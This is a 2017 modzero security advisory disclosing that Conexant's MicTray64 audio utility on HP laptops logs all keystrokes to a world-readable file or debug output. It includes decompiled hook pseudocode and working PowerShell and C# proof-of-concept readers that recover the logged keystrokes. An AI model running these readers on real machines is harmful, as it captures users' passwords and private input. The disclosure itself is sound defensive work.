---------------------------------------------------------------- v3 - modzero Security Advisory: Unintended/Covert Storage Channel for sensitive data in Conexant HD Audio Driver Package. [MZ-17-01] --------------------------------------------------------------------- --------------------------------------------------------------------- 1. Timeline --------------------------------------------------------------------- * 2017-04-28: Vulnerability has been discovered in MicTray64 version 1.0.0.31 / Thu Dec 24 08:35:35 2015 * 2017-04-28: Vendor Conexant contacted (Email) * 2017-04-29: Higher impact has been discovered in most recent MicTray64 version 1.0.0.46 / Tue Oct 11 10:56:13 2016 * 2017-04-30: CVE-2017-8360 has been assigned to this vulnerability. * 2017-05-01: Contacted Hewlett-Packard Enterprise security advisor with detailed description of the problem. * 2017-05-02: Contacted vendor Conexant via Twitter * 2017-05-05: Sent technical information to HPE security contact. Informed HPE about releasing the advisory on Monday 8th of May in case we don't get any feedback on our report. * 2017-05-05: Received some notes from HPE after sending technical information. They tried to reach for security folks at HP Inc. to gain attention. * 2017-05-11: Release of the advisory --------------------------------------------------------------------- 2. Summary --------------------------------------------------------------------- Vendor: Conexant Systems, Inc. Software packages known to be affected: * Recent and previous (Q2/2017) HP Audiodriver Packages / Conexant High-Definition (HD) Audio Driver Version 10.0.931.89 REV: Q PASS: 5 (ftp://whp-aus1.cold.extweb.hp.com/pub/softpaq/sp79001-79500/sp79420.html) * Probably other hardware vendors, shipping Conexant hardware and drivers Systems known to be affected: According to HP information in sp79420.html, the following systems are affected: * HARDWARE PRODUCT MODEL(S): HP EliteBook 820 G3 Notebook PC HP EliteBook 828 G3 Notebook PC HP EliteBook 840 G3 Notebook PC HP EliteBook 848 G3 Notebook PC HP EliteBook 850 G3 Notebook PC HP ProBook 640 G2 Notebook PC HP ProBook 650 G2 Notebook PC HP ProBook 645 G2 Notebook PC HP ProBook 655 G2 Notebook PC HP ProBook 450 G3 Notebook PC HP ProBook 430 G3 Notebook PC HP ProBook 440 G3 Notebook PC HP ProBook 446 G3 Notebook PC HP ProBook 470 G3 Notebook PC HP ProBook 455 G3 Notebook PC HP EliteBook 725 G3 Notebook PC HP EliteBook 745 G3 Notebook PC HP EliteBook 755 G3 Notebook PC HP EliteBook 1030 G1 Notebook PC HP ZBook 15u G3 Mobile Workstation HP Elite x2 1012 G1 Tablet HP Elite x2 1012 G1 with Travel Keyboard HP Elite x2 1012 G1 Advanced Keyboard HP EliteBook Folio 1040 G3 Notebook PC HP ZBook 17 G3 Mobile Workstation HP ZBook 15 G3 Mobile Workstation HP ZBook Studio G3 Mobile Workstation HP EliteBook Folio G1 Notebook PC * OPERATING SYSTEM(S): Microsoft Windows 10 32 Microsoft Windows 10 64 Microsoft Windows 10 IOT Enterprise 32-Bit (x86) Microsoft Windows 10 IOT Enterprise 64-Bit (x86) Microsoft Windows 7 Enterprise 32 Edition Microsoft Windows 7 Enterprise 64 Edition Microsoft Windows 7 Home Basic 32 Edition Microsoft Windows 7 Home Basic 64 Edition Microsoft Windows 7 Home Premium 32 Edition Microsoft Windows 7 Home Premium 64 Edition Microsoft Windows 7 Professional 32 Edition Microsoft Windows 7 Professional 64 Edition Microsoft Windows 7 Starter 32 Edition Microsoft Windows 7 Ultimate 32 Edition Microsoft Windows 7 Ultimate 64 Edition Microsoft Windows Embedded Standard 7 32 Microsoft Windows Embedded Standard 7E 32-Bit CVE-ID: CVE-2017-8360 Severity: High/Medium Type: Covert Storage Channel Vendor: Conexant Systems, Inc. Product: mic tray icon Version: =< 1.0.0.46 Attack type: Local Affected Components: Scheduled Task c:\windows\system32\mictray64.exe --------------------------------------------------------------------- 3. Details --------------------------------------------------------------------- Conexant's MicTray64.exe is installed with the Conexant audio driver package and registered as a Microsoft Scheduled Task to run after each user login. The program monitors all keystrokes made by the user to capture and react to functions such as microphone mute/unmute keys/hotkeys. Monitoring of keystrokes is added by implementing a low- level keyboard input hook [1] function that is installed by calling SetwindowsHookEx(). In addition to the handling of hotkey/function key strokes, all key- scancode information [2] is written into a logfile in a world-readable path (C:\Users\Public\MicTray.log). If the logfile does not exist or the setting is not yet available in Windows registry, all keystrokes are passed to the OutputDebugString API, which enables any process in the current user-context to capture keystrokes without exposing malicious behavior. Any framework and process with access to the MapViewOfFile API should be able to silently capture sensitive data by capturing the user's keystrokes. In version 10.0.0.31, only OutputDebugString was used to forward key scancodes and nothing was written to files. The following pseudocode shows the registration of the keylogging function handler of MicTray64.exe version 1.0.0.46: int64 keylogger_enable(bool activate) { [...] if ( !keylogger_active ) { [...] // 13=WH_KEYBOARD_LL: Installs a hook procedure that // monitors low-level keyboard input events. For // more information, see the LowLevelKeyboardProc // hook procedure. hKeyloggerHook = SetWindowsHookExW( 13, (HOOKPROC)handle_scancode, hSelf, 0); if ( hKeyloggerHook ) { keylogger_active = 1; return 0; } [...] } After registering function handle_scancode() as a handler to any keystroke made by the user, the following pseudo-code is executed every time a key is pressed or released: LRESULT handle_scancode( int _in_nCode, WPARAM _in_wParam, tagKBDLLHOOKSTRUCT *_in_lParam_keystroke) { tagKBDLLHOOKSTRUCT *key_stroke; WPARAM wParam; int nCode; int64 target; DWORD is_keyfoo; int is_keydown; char tmp; int64 key_flags; int64 key_vk; key_stroke = _in_lParam_keystroke; wParam = _in_wParam; nCode = _in_nCode; if ( _in_nCode >= 0 ) { target = (cfg_HotKeyMicScancode >> 8 * (cfg_HotKeyMicScancode_len - cfg_HotKeyMicScancode_len2)); LODWORD(key_vk) = _in_lParam_keystroke->vkCode; LODWORD(key_flags) = _in_lParam_keystroke->flags; is_keyfoo = _in_lParam_keystroke->flags & 1; is_keydown = ~(key_flags >> 7) & 1; [*] send_to_dbglog( 0x1D, L"Mic target 0x%x scancode 0x%x flags 0x%x extra 0x%x vk 0x%x\n", target, _in_lParam_keystroke->scanCode, key_flags, _in_lParam_keystroke->dwExtraInfo, key_vk); conexant_handle_fn_keys( cfg_MicMuteScancodeSettings, is_keydown, key_stroke->scanCode, target, &cfg_HotKeyMicScancode_len, &cfg_HotKeyMicScancode_len2, 1); if ( cfg_MicMuteScancodeSettings & 4 ) conexant_handle_fn_keys( cfg_MicMuteScancodeSettings, is_keydown, key_stroke->scanCode, (cfg_HotKeyMicScancode2 >> 8 * (cfg_HotKeyMicScancode2_len - cfg_HotKeyMicScancode2_len2)), &cfg_HotKeyMicScancode2_len, &cfg_HotKeyMicScancode2_len2, 1); tmp = cfg_SpkMuteScancodeSettings; if ( cfg_SpkMuteScancodeSettings & 8 && is_keyfoo || !(cfg_SpkMuteScancodeSettings & 8) ) { conexant_handle_fn_keys( cfg_SpkMuteScancodeSettings, is_keydown, key_stroke->scanCode, (cfg_HotKeySpkScancode >> 8 * (cfg_HotKeySpkScancode_len - cfg_HotKeySpkScancode_len2)), &dword_1402709C8, &dword_1402709CC, 0); tmp = cfg_SpkMuteScancodeSettings; } if ( tmp & 4 && (tmp & 8 && is_keyfoo || !(tmp & 8)) ) conexant_handle_fn_keys( tmp, is_keydown, key_stroke->scanCode, (cfg_HotKeySpkScancode2 >> 8 * (cfg_HotKeySpkScancode2_len - cfg_HotKeySpkScancode2_len2)), &cfg_HotKeySpkScancode2_len, &cfg_HotKeySpkScancode2_len2, 0); } return CallNextHookEx(hhk, nCode, wParam, key_stroke); } The function called at [*] writes every keystroke to a file or broadcast it via Microsofts Debug Monitor APIs via store_keystroke(): void store_keystroke(LPCVOID lpBuffer) { WORD *scancode_logline; int64 str_len; DWORD NumberOfBytesWritten; int str_newline; scancode_logline = lpBuffer; if ( g_write_to_logfile ) { SetFilePointer(g_hFile, 0, 0, 2); str_len = -1; while ( scancode_logline[str_len++ + 1] != 0 ) ; WriteFile( g_hFile, scancode_logline, 2 * str_len, &NumberOfBytesWritten, 0); str_newline = '\n\0\r'; WriteFile(g_hFile, &str_newline, 4, &NumberOfBytesWritten, 0); } else { OutputDebugStringW(lpBuffer); } } This issue leads to a high risk of leaking sensitive user input to any person or process that is able to read files in C:\Users\Public\MicTray.log or call MapViewOfFile(). Investigators with access to the unencrypted file-system might be able to recover sensitive data of historic key-logs as well. Users are not aware that every keystroke made while entering sensitive information - such as passphrases, passwords on local or remote systems - are captured by Conexant and exposed to any process and framework with access to the file-system or MapViewOfFile API. Additionally, this information-leak via Covert Storage Channel enables malware authors to capture keystrokes without taking the risk of being classified as malicious task by AV heuristics. It is not recommended to provide information on keystrokes to arbitrary processes by writing keystrokes to disk or by using OutputDebugStringW() for debugging purposes. --------------------------------------------------------------------- 4. Impact --------------------------------------------------------------------- Any process that is running in the current user-session and therefore able to monitor debug messages, can capture keystrokes made by the user. Processes are thus able to record sensitive data such as passwords, without performing suspicious activities that may trigger AV vendor heuristics. Furthermore, any process running on the system by any user is able to access all keystrokes made by the user via file-system access. It is not known, if log-data is submitted to Conexant at any time or why all key presses are logged anyway. --------------------------------------------------------------------- 5. Proof of concept exploit --------------------------------------------------------------------- A proof-of-concept can be implemented by using PowerShell to parse MicTray.log: $filename = "c:\users\public\MicTray.log" [System.IO.FileStream] $fs = [System.IO.File]::Open( $filename, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite) [System.IO.StreamReader] $fr = [System.IO.StreamReader]::new( $fs, [Text.UTF8Encoding]::UNICODE) $el = 0 while($el -lt 2) { $line = $fr.ReadLine() # handle broken newlines in log... if([string]::IsNullOrEmpty($line)) { $el++ } else { $el=0 } $mc = [regex]::Match($line, "MicTray64.exe.*flags (0x0[A-Fa-f0-9]?).*vk (0x[A-Fa-f0-9]+)$") $r = $mc.Groups[2].Value if(-Not [string]::IsNullOrEmpty($r)) { $i = [convert]::ToInt32($r, 16) $c = [convert]::ToChar($i) if($i -lt 0x20 -or $i -gt 0x7E) { $c = '.' } write-host -NoNewLine $("{0}" -f $c) } } However, if no logfile is written, it is also possible to obtain keystrokes by just following Microsoft's DbMon Debug Monitor [3] approach of capturing strings passed to OutputDebugString [4]: namespace mod0_dbgview { class Program { public static void Main(string[] args) { DebugMonitor.Start(); DebugMonitor.OnOutputDebugString += new OnOutputDebugStringHandler(OnOutputDebugString); Console.WriteLine("Press 'Enter' to exit."); Console.ReadLine(); DebugMonitor.Stop(); } // version 1.0.0.46 private static void OnOutputDebugString(int pid, string text) { char sep = ' '; char nl = '\n'; text = text.TrimEnd(nl); string[] items = text.Split(sep); if (items[7].Equals("Mic")) { int c_int = Convert.ToInt32(items[17], 16); if (c_int == 0xd) { Console.WriteLine(); } else if (Convert.ToInt32(items[13], 16) == 0x00) Console.Write("{0}", (char)(c_int & 0xff)); } } // version 1.0.0.31 private static void OnOutputDebugString_v31( int pid, string text) { char sep = ' '; string[] items = text.Split(sep); if (items[0].Equals("Mic")) { int c_int = Convert.ToInt32(items[10], 16); if (c_int == 0xd) { Console.WriteLine(); } else if(Convert.ToInt32(items[6], 16) == 0x00) Console.Write("{0}", (char)(c_int & 0xff)); } } } } Any framework that provides an API down to ReadFile() or Microsoft's MapViewOfFile() should be able to capture keystrokes captured by Conexant's audio driver utils. By using Microsoft Windows Sysinternals Dbgview [5], keystrokes can be visualized easily, if they are not written to file. --------------------------------------------------------------------- 6. Workaround --------------------------------------------------------------------- Delete MicTray executables and logfiles. Deleting the Scheduled Task is not sufficient, as Conexant's Windows Service CxMonSvc will launch MicTray otherwise. The executable is located at c:\Windows\System32\MicTray64.exe, the MicTray logfile is located at C:\Users\Public\MicTray.log --------------------------------------------------------------------- 7. Fix --------------------------------------------------------------------- It is not known to modzero, if a security fix is available. --------------------------------------------------------------------- 8. References --------------------------------------------------------------------- [1] "LowLevelKeyboardProc callback function" - https://msdn.microsoft.com/en-us/library/windows/desktop/ms644985(v=vs.85).aspx [2] KBDLLHOOKSTRUCT structure - https://msdn.microsoft.com/en-us/library/windows/desktop/ms644967(v=vs.85).aspx [3] "DbMon: Implements a Debug Monitor" - https://msdn.microsoft.com/en-us/library/aa242171(v=vs.60).aspx [4] "MSDN/OutputDebugString function" - https://msdn.microsoft.com/en-us/library/windows/desktop/aa363362(v=vs.85).aspx [5] "Microsoft Windows Sysinternals DebugView" https://technet.microsoft.com/en-us/sysinternals/debugview.aspx [6] "modzero Security Advisory: Unintended/Covert Storage Channel for sensitive data in Conexant HD Audio Driver Package. [MZ-17-01]" - https://www.modzero.ch/advisories/MZ-17-01-Conexant-Keylogger.txt SHA256 sums: 127163c863b320814b6f420390db9d5ce48e9158bdb62aa94e953d85ec1e7a89 *MicTray64_v31.exe 7245f89fa00ea5fe5b290758a99288188d58cdaf2f4192ce469a5f4d256eaae0 *MicTray64_v31.i64 (IDA Pro DB by April 29, 2017) ba1bc46ae6a4a6ecca08028022163e6bba291c330b057c6235c33a7519e617b7 *MicTray64_v31.xml c046c7f364b42388bb392874129da555d9c688dced3ac1d6a1c6b01df29ea7a8 *MicTray64_v46.exe 4563a0e4e85edeb7ddeba57d1cb8e4a30f1b5ee9fb128725a2664de2aa8c17ec *MicTray64_v46.i64 (IDA Pro DB by April 29, 2017) ba1bc46ae6a4a6ecca08028022163e6bba291c330b057c6235c33a7519e617b7 *MicTray64_v46.xml --------------------------------------------------------------------- 9. Credits --------------------------------------------------------------------- * Thorsten Schroeder --------------------------------------------------------------------- 10. About modzero --------------------------------------------------------------------- The independent Swiss company modzero AG assists clients with security analysis in the complex areas of computer technology. The focus lies on highly detailed technical analysis of concepts, software and hardware components as well as the development of individual solutions. Colleagues at modzero AG work exclusively in practical, highly technical computer-security areas and can draw on decades of experience in various platforms, system concepts, and designs. https://www.modzero.ch contact@modzero.ch